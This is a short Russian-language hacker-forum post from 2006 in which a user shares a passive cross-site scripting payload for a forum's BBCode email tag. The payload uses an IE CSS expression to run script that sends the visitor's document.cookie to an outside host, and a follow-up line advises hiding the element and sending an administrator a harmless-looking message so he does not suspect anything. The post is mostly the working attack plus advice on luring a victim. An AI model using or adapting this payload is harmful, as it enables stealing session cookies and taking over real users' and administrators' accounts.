
03.07.2006, 21:45
|
|
Новичок
Регистрация: 22.05.2006
Сообщений: 18
С нами:
10511461
Репутация:
0
|
|
я з@#$%^ся его подбирать.... вот пассивный xss ...
Код HTML:
[*code][*email=a"style="top:expression(eval(this.sss));"sss=`ii=new/**/Image();ii.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;this.sss=null`"mail@mail.ru]Нажми сюда![/email*][/code*]
добавлено позже:
можно в style добавить style=visibility:hidden; и написать админу вообще левую телегу ... он даже и не подумает что в сообщений может быть что-то потенциально опасное...
Последний раз редактировалось Cheburek; 03.07.2006 в 22:01..
|
|
|